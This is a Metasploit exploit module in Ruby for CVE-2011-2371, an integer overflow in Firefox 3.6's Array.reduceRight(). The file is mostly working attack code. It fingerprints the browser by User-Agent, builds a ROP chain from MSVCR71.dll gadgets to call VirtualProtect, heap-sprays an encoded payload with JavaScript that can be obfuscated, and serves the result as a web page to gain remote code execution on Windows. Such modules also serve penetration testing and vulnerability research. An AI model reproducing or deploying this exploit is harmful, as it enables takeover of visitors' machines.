Mozilla Firefox Array.reduceRight() Integer Overflow



##

# $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
                array object is configured with a large length value, the reduceRight() method
                may cause an invalid index being used, allowing abitrary remote code execution.
                Please note that the exploit requires a longer amount of time (compare to a
                typical browser exploit) in order to gain control of the machine.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13909 $",
            'Author'         =>
                [
                    'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
                    'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
                    'Matteo Memelli', #PoC from Exploit-DB
                    'dookie2000ca',   #"Helping" ryujin (Matteo)
                    'sinn3r',         #Metasploit
                ],
            'References'     =>
                [
                    ['CVE', '2011-2371'],
                    ['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
                    ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
                ],
            'Payload'        =>
                {
                    'BadChars'        => "\x00",
                    'PrependEncoder'  => "\xbc\x0c\x0c\x0c\x0c",
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "process",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #Windows XP / Vista / 7
                    [ 'Mozilla Firefox 3.6.16', {} ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jun 21 2011",
            'DefaultTarget'  => 0
        ))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
            ], self.class)
    end

    def junk
        return rand_text_alpha(4).unpack("L")[0].to_i
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        if agent !~ /Firefox\/3\.6\.[16|17]/
            vprint_error("This browser is not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end

        #mona.py tekniq! + Payload
        rop = [
            0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
            0x7c37a140,  # Make EAX readable
            0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
            0x7c348b06,  # EBP (NOP)
            0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
            0x7c37a140,  # <- VirtualProtect() found in IAT
            0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
            0x7c346c0b,  # Slide, so next gadget would write to correct stack location
            0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
            0x7c348b06,  # EDI (filler)
            0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
            0x7c348b06,  # EBX (filler)
            0x7c376402,  # POP EBP # RETN (msvcr71.dll)
            0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
            0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
            0xfffff82f,  # size 20001 bytes
            0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
            0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
            0xffffffff,  # pop value into ebx
            0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
            0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
            0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
            0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
            0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
            0x7c34b8d8,  # ROP NOP (-> edi)
            0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
            0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
            0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
            0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
            0x90909090,  # NOPS (-> eax)
            0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
        ].pack('V*')

        table = [0x4141].pack('v*')
        table << [
            0x0c000048,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
        ].pack('V*')
        table << [0x4141].pack('v*')
        table << [
            0x7c370eef,
            junk,
        ].pack('V*')
        table << [0x4141].pack('v*')
        table << [
            0x3410240c,
            0x0c00007c,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            junk,
            0x0c00002e
        ].pack('V*')

        p = payload.encoded
        arch = Rex::Arch.endian(target.arch)
        js_payload = Rex::Text.to_unescape(rop + p, arch)
        js_ptrs    = Rex::Text.to_unescape(table, arch)

        #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
        js = <<-JS
        var applet = document.getElementById('MyApplet');

        function spray() {
            var ptrs = unescape("#{js_ptrs}");

            var bheader  = 0x12/2;
            var nullt    = 0x2/2;

            var espoffset  = (7340 /2) - ptrs.length;
            var esppadding = unescape("%u0c0c%u0c0c");
            while(esppadding.length < espoffset) esppadding += esppadding;
            esppadding = esppadding.substring(0, espoffset);

            var payload = unescape("#{js_payload}");

            var tr_padding = unescape("%u0c0c%u0c0c");
            while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

            var dummy = ptrs + esppadding + payload + tr_padding;
            var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

            HeapBlocks = new Array()
            for (i=0;i<0x60;i++){
                HeapBlocks[i] += hspray;
            }
        }
        spray();
        obj = new Array;
        obj.length = 2197815302;
        f = function trigger(prev, myobj, indx, array) {
            alert(myobj[0]);
        }
        obj.reduceRight(f,1,2,3);
        JS

        js = js.gsub(/^\t\t/, '')

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        html = <<-HTML
        <html>
        <head>
        </head>
        <body>
        <APPLET id="MyApplet" code="trigger.class" width=150 height=50>
        You need a Java-enabled browser to pwn this.
        </APPLET>
        <script>
        #{js}
        </script>
        </body>
        <html>
        HTML

        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end